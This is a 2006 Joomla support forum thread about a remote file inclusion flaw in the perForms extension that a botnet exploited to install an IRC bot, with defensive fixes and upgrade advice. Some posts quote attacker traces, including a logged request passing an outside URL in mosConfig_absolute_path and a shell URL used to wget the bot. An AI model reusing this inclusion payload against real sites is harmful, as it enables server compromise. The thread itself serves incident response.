[UPGRADE AVAIL.] perForms Vulnerability
Moderator: General Support Moderators
Forum rules
-
- Joomla! Explorer
- Posts: 374
- Joined: Thu Aug 18, 2005 8:54 pm
[UPGRADE AVAIL.] perForms Vulnerability
Please read here.
Short: Installs IRC-Bot, infected yet 100 servers and growing fast.
components/com_perform/perform.php
Short: Installs IRC-Bot, infected yet 100 servers and growing fast.
components/com_perform/perform.php
Last edited by RobS on Wed Jul 19, 2006 5:01 am, edited 1 time in total.
- brian
- Joomla! Master
- Posts: 12785
- Joined: Fri Aug 12, 2005 7:19 am
- Location: Leeds, UK
- Contact:
Re: perForms
Any chance of a translation please or at least a summary
"Exploited yesterday... Hacked tomorrow"
Blog http://brian.teeman.net/
Joomla Hidden Secrets http://hiddenjoomlasecrets.com/
Blog http://brian.teeman.net/
Joomla Hidden Secrets http://hiddenjoomlasecrets.com/
-
- Joomla! Explorer
- Posts: 374
- Joined: Thu Aug 18, 2005 8:54 pm
Re: perForms
Joomla-extension perForms acute at risk.
A botnet operator uses currently a yet unknown vulnerability in the joomla extension perForms, to install an IRC bot. Infected computers can be identified by a running process with name httpdse and an IRC connection outgoing from it. The used programming fault is in the php file components/com_perform/perform.php. It includes external files by the global parameter $mosConfig_absolute_path, without checking for manipulation before. An attacker can under circumstances load arbitrary malcious php code, if the webserver is running with register_globals=on. The botnet uses google to search for other possible victims. According to Nepenthes developer Markus Kötter the botnet currently is about 100 compromised servers and is growing.
A comparable vulnerability was lately discovered in the extension Galleria. Possibly it is also present in other modules. The promlem with vulnerable extentions is allready known by the joomla developers. They recommend to all joomla users, to check php files of theire extensions. They should at the beginning have a line as
defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );
which shoud in case be added when missing. The code secures scripts from a direct call how it is necessary for most exploits. Also it is imperative recommended to run the PHP-webserver with register_globals=off. This setting in php.ini protects from a big part of the known and yet unknown vulnerabilities in in PHP-scripts. (cr/c't)
Last edited by Anonymous on Thu Jul 13, 2006 4:08 pm, edited 1 time in total.
- gustavo
- Joomla! Explorer
- Posts: 427
- Joined: Fri Aug 19, 2005 12:51 pm
- Location: Argentina
- Contact:
Re: perForms
-> I have logged "IRC-Bot" in my apache log .. dir: http://muach.t35.com/tools/elite.php
insert shell , wget "IRC-Bot" .. < 1 minute.
Have a nice day
Gustavo
insert shell , wget "IRC-Bot" .. < 1 minute.
Have a nice day
Gustavo
Last edited by gustavo on Thu Jul 13, 2006 3:41 pm, edited 1 time in total.
Comunidad Joomla: Maintenance, support, translation and distribution for the Joomla!. Help site online. Member of the Spanish [es_ES] Joomla Translation Team. http://comunidadjoomla.org
-
- Joomla! Intern
- Posts: 83
- Joined: Tue Nov 29, 2005 12:48 am
Re: perForms
If already compromised, will inserting
defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );
in all .php files and turning off globals take care of this?
defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );
in all .php files and turning off globals take care of this?
-
- Joomla! Explorer
- Posts: 374
- Joined: Thu Aug 18, 2005 8:54 pm
Re: perForms
That would only fix the joomla installation, but not remove the IRC-Bot.rden17 wrote: If already compromised, will inserting
defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );
in all .php files and turning off globals take care of this?
Read this.
Last edited by Anonymous on Thu Jul 13, 2006 4:48 pm, edited 1 time in total.
- Tonie
- Joomla! Master
- Posts: 16553
- Joined: Thu Aug 18, 2005 7:13 am
Re: perForms
Not sure if anybody already has done this. I have contacted the developer in question about this issue.
-
- Joomla! Explorer
- Posts: 374
- Joined: Thu Aug 18, 2005 8:54 pm
Re: perForms
Probably not. I asked this question allready in the thread of another affected add-on.Tonie wrote: Not sure if anybody already has done this. I have contacted the developer in question about this issue.
Somebody should co-ordinate that all the respective developers get notified. Better twice than not at all.
- ot2sen
- Joomla! Master
- Posts: 10381
- Joined: Thu Aug 18, 2005 9:58 am
- Location: Hillerød - Denmark
- Contact:
Re: perForms
A PM was sent earlier asking him to comment on this issue, with link to this thread.Tonie wrote: Not sure if anybody already has done this. I have contacted the developer in question about this issue.
To avoid others experience this, the extension is unpublished again from Extensions Directory until fix from developer.
Ole Bang Ottosen
Dansk frivillig Joomla! support websted - joomla.dk
OpenTranslators Core Team opentranslators.org
Dansk frivillig Joomla! support websted - joomla.dk
OpenTranslators Core Team opentranslators.org
- aramil
- Joomla! Enthusiast
- Posts: 101
- Joined: Thu Apr 20, 2006 9:04 pm
Re: perForms
Hi all!
In a good moment perForms, just released the version 2 beta of this component. I unistalled the firts version due the security issue but i really like this component. Will be secure this new version?
Namarië
In a good moment perForms, just released the version 2 beta of this component. I unistalled the firts version due the security issue but i really like this component. Will be secure this new version?
Namarië
All men die, not all men really live!
- Elpie
- Joomla! Guru
- Posts: 903
- Joined: Wed Aug 17, 2005 11:26 pm
- Contact:
Re: perForms
amaril, the developer is really the only person who can answer that question for you at the moment. ot2sen has already asked him to comment on the issue so hopefully he will be able to tell you soon.
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info
Open Source Research & Best Practice: http://osprojects.info
- spignataro
- Joomla! Ace
- Posts: 1179
- Joined: Thu Aug 18, 2005 3:31 pm
- Location: Battle Creek, MI
- Contact:
- choomla
- Joomla! Explorer
- Posts: 308
- Joined: Wed Feb 22, 2006 7:11 pm
- Location: Gothenburg, Kingdom of Sweden
- Contact:
Re: perForms
And what? That means it is safe? Just uninstall the old one and install the new beta?
- spignataro
- Joomla! Ace
- Posts: 1179
- Joined: Thu Aug 18, 2005 3:31 pm
- Location: Battle Creek, MI
- Contact:
Re: perForms
correct
There are some major fixes to the release that resolve the problems that where happening. (also some nice new features have been implemented - alot better then the way i was implementing them)
Kind regards,
There are some major fixes to the release that resolve the problems that where happening. (also some nice new features have been implemented - alot better then the way i was implementing them)
Kind regards,
-
- Joomla! Hero
- Posts: 2039
- Joined: Thu Aug 18, 2005 5:39 am
- Location: Aarhus, Denmark
- Contact:
Re: perForms
The new version is great! Nice work.
Med venlig hilsen
Niklas Stephenson
www.ungt.dk - Open Source webløsninger, webudvikling og Joomla CMS
Niklas Stephenson
www.ungt.dk - Open Source webløsninger, webudvikling og Joomla CMS
-
- Joomla! Apprentice
- Posts: 25
- Joined: Sun Nov 20, 2005 2:29 pm
Re: perForms
v2-bet is safer, you should install that,
http://forum.joomla.org/index.php/topic ... #msg400101
http://forum.joomla.org/index.php/topic ... #msg400101
- choomla
- Joomla! Explorer
- Posts: 308
- Joined: Wed Feb 22, 2006 7:11 pm
- Location: Gothenburg, Kingdom of Sweden
- Contact:
Re: perForms
But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?
-
- Joomla! Apprentice
- Posts: 25
- Joined: Sun Nov 20, 2005 2:29 pm
Re: perForms
yes, they will, but i am going to write an update script very soon.choomla wrote: But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?
- choomla
- Joomla! Explorer
- Posts: 308
- Joined: Wed Feb 22, 2006 7:11 pm
- Location: Gothenburg, Kingdom of Sweden
- Contact:
Re: perForms
Great, then I'll unpublish mine and wait for that. Please post here when ready.
- spignataro
- Joomla! Ace
- Posts: 1179
- Joined: Thu Aug 18, 2005 3:31 pm
- Location: Battle Creek, MI
- Contact:
Re: perForms
this is all i did - i backed up the tables. Uninstalled performs - Deleted any left over tables. Installed the new performs. Inputted the old information into the database and i was good.
-
- Joomla! Intern
- Posts: 73
- Joined: Fri Sep 02, 2005 4:19 pm
Re: [UPGRADE AVAIL.] perForms Vulnerability
Is there a permission we can change to stop the hack and keep our forms running while we wait for an update script?
- spignataro
- Joomla! Ace
- Posts: 1179
- Joined: Thu Aug 18, 2005 3:31 pm
- Location: Battle Creek, MI
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
add the following to the top of performs.php
Code: Select all
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');
-
- Joomla! Apprentice
- Posts: 13
- Joined: Wed Apr 12, 2006 11:31 pm
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
I restored and then upgraded after being hacked.
I just noticed that when I turn off register globals, the forms don't work.
I just noticed that when I turn off register globals, the forms don't work.
-
- Joomla! Apprentice
- Posts: 34
- Joined: Wed Sep 07, 2005 7:31 pm
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.
Register globals turned off by adding "php_flag register_globals off" in htaccess files
Any advice and help?
Norman
Register globals turned off by adding "php_flag register_globals off" in htaccess files
Any advice and help?
Norman
-
- Joomla! Apprentice
- Posts: 34
- Joined: Wed Sep 07, 2005 7:31 pm
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
Hi
I am still having same problem. Have reinstalled V 2 beta and all seem to work OK but can get no form in front end Used menu link URL with link as "index.php?option=com_performs&formid=1" but no form displayed. This worked OK before register_globals was turned off. Please can anyone help?
Thanks in anticipation
I am still having same problem. Have reinstalled V 2 beta and all seem to work OK but can get no form in front end Used menu link URL with link as "index.php?option=com_performs&formid=1" but no form displayed. This worked OK before register_globals was turned off. Please can anyone help?
Thanks in anticipation
nwm wrote: I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.
Register globals turned off by adding "php_flag register_globals off" in htaccess files
Any advice and help?
Norman
- pcigre
- Joomla! Explorer
- Posts: 338
- Joined: Mon Sep 05, 2005 11:21 am
- Location: Nis, Serbia
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
I have error when try to instal v2. Anyone else with this problem?
http://www.pcigre.com -> game community
- smart
- Joomla! Enthusiast
- Posts: 109
- Joined: Thu Aug 18, 2005 1:33 pm
- Location: Sebastopol
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
Hm... v2 installs with no errors...pcigre.com wrote: I have error when try to instal v2. Anyone else with this problem?
Joomlaportal.ru News, articles and tutorials
Joomlaforum.ru Russian Joomla Support Forum
Member of the Russian Joomla Translation Team
Joomlaforum.ru Russian Joomla Support Forum
Member of the Russian Joomla Translation Team
- Joomlamahesh
- Joomla! Apprentice
- Posts: 34
- Joined: Mon Nov 28, 2005 5:00 pm
- Location: Mumbai, India
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
It works only if the RG_Emulation is ON. (Even when RG is OFF). If the RG_Emulation is Off , it does not display the form. Joomla security forums recommend RG=Off as well as RG_Emulation=Off. So what to do ?
A man is not finished when he is defeated,
He is finished when he quits
He is finished when he quits
- Joomlamahesh
- Joomla! Apprentice
- Posts: 34
- Joined: Mon Nov 28, 2005 5:00 pm
- Location: Mumbai, India
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
Quote from: RVFoley on September 03, 2006, 08:59:12 PM
Thanks. This did the trick. I was not able to use the form when it put off th RG_Emulation in my global.php when some hack attemts at performs were detected. With chaning as suggested above, the form has started working again even with RG = Off & RG_Emulation = Off.
Thanks once again.
If you will open up performs.php in an editor and search for the term "formId", you need to change this to "formid". Then it will work with register globals = off and with php.ini or your server php configuration set to register globals = off as well.
Thanks. This did the trick. I was not able to use the form when it put off th RG_Emulation in my global.php when some hack attemts at performs were detected. With chaning as suggested above, the form has started working again even with RG = Off & RG_Emulation = Off.
Thanks once again.
A man is not finished when he is defeated,
He is finished when he quits
He is finished when he quits
- Joomlamahesh
- Joomla! Apprentice
- Posts: 34
- Joined: Mon Nov 28, 2005 5:00 pm
- Location: Mumbai, India
- Contact:
Re: [UPGRADE AVAIL.] perForms Vulnerability
While going through my log files I found lines like :
/components/com_performs/performs.php?mosConfig_absolute_path=http://panoplanet.com/c.in?
Http Code: 404 Date: Dec 07 21:33:08 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.79
As this sounded problematic I have removed the component and deleted the file. Still these lines appeared today. My error log showed that the file acess to performs is giving errors.
What shall I do to rectify the problem and secure the system further. I had alredy taken the measures mentioned above like .htacces file upgradation, RG=off on the host, Emulation =off etc.etc.
/components/com_performs/performs.php?mosConfig_absolute_path=http://panoplanet.com/c.in?
Http Code: 404 Date: Dec 07 21:33:08 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.79
As this sounded problematic I have removed the component and deleted the file. Still these lines appeared today. My error log showed that the file acess to performs is giving errors.
What shall I do to rectify the problem and secure the system further. I had alredy taken the measures mentioned above like .htacces file upgradation, RG=off on the host, Emulation =off etc.etc.
A man is not finished when he is defeated,
He is finished when he quits
He is finished when he quits